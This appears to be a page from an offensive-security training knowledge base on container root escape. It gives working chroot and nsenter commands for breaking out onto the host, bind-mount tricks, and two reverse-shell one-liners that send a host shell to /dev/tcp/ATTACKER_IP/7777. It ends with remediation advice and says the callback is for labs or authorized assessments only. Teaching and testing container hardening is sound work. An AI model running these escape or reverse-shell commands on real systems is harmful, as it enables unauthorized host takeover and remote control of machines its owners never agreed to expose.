Operator On The Wire
Waitlist
← Back to Knowledge Base
OOTW / Chapter II - Local / 02. Containers / Container Escape / Attacks

Root Escape

Root inside a container is not automatically root on the host.

Root becomes useful when the container also has access to host resources: host mounts, host namespaces, dangerous capabilities, devices, runtime sockets, or kernel vulnerabilities.

Root In Container

Check:

id
cat /proc/self/uid_map
cat /proc/self/gid_map

If UID 0 maps directly to host UID 0, and the container has dangerous host access, impact is higher.

If user namespaces remap container root to an unprivileged host user, host impact is reduced.

Chroot Host Filesystem

Preconditions:

  • Host root filesystem mounted
  • Enough privilege to call chroot
  • Shell exists inside mounted host filesystem

Check:

ls /host /hostfs /mnt 2>/dev/null
ls /host/bin/sh /host/bin/bash /host/usr/bin/bash 2>/dev/null

Enter:

chroot /host /bin/sh

or:

chroot /host /bin/bash

If the mount path is /hostfs:

chroot /hostfs /bin/sh

Namespace Escape With nsenter

Preconditions:

  • Host PID namespace visible or target host process accessible
  • Sufficient privileges
  • nsenter available

Check:

ps aux
which nsenter
readlink /proc/1/ns/*

Enter namespaces of PID 1:

nsenter -t 1 -m -u -i -n -p -- /bin/sh

Meaning:

-t 1  target PID 1
-m    mount namespace
-u    UTS namespace
-i    IPC namespace
-n    network namespace
-p    PID namespace

If nsenter is missing:

apk add util-linux

or:

busybox nsenter -t 1 -m -u -i -n -p -- /bin/sh

Manual Bind Mount And Chroot

If the host root is mounted at /hostfs, but the shell or libraries are awkward from the current container, bind the host paths and then chroot:

mount --bind /hostfs/bin /bin
mount --bind /hostfs/lib /lib
mount --bind /hostfs/lib64 /lib64 2>/dev/null || true
mount --bind /hostfs/usr /usr
chroot /hostfs /bin/sh

This is a recovery pattern for messy lab environments. It still requires the same core primitive: the host filesystem must be mounted and the container must have enough privilege to perform the mount/chroot sequence.

Host Shell Proof

Use harmless proof first:

id
hostname
cat /etc/os-release

If using a host-root mount:

chroot /host /bin/sh -c 'id; hostname; cat /etc/os-release'

For an interactive lab callback, start a listener and spawn the shell from the host context:

chroot /hostfs /bin/sh -i >& /dev/tcp/ATTACKER_IP/7777 0>&1

or through host namespaces:

nsenter -t 1 -m -u -i -n -p -- /bin/sh -i >& /dev/tcp/ATTACKER_IP/7777 0>&1

Use this only in a disposable lab or explicitly authorized assessment. The quieter proof is still id, hostname, and /etc/os-release.

Why This Works

chroot changes the process filesystem root.

nsenter joins existing namespaces.

Neither is an exploit by itself. They become escape tools when the container has been given access to host filesystems, host namespaces, or broad privileges.

Remediation

  • Avoid --privileged.
  • Avoid host PID namespace sharing.
  • Avoid host mount namespace sharing.
  • Avoid mounting host root filesystems.
  • Drop dangerous capabilities.
  • Keep seccomp and AppArmor/SELinux enabled.
  • Use user namespace remapping.
  • Run containers as non-root where possible.

Root in the container should not have a path to host control.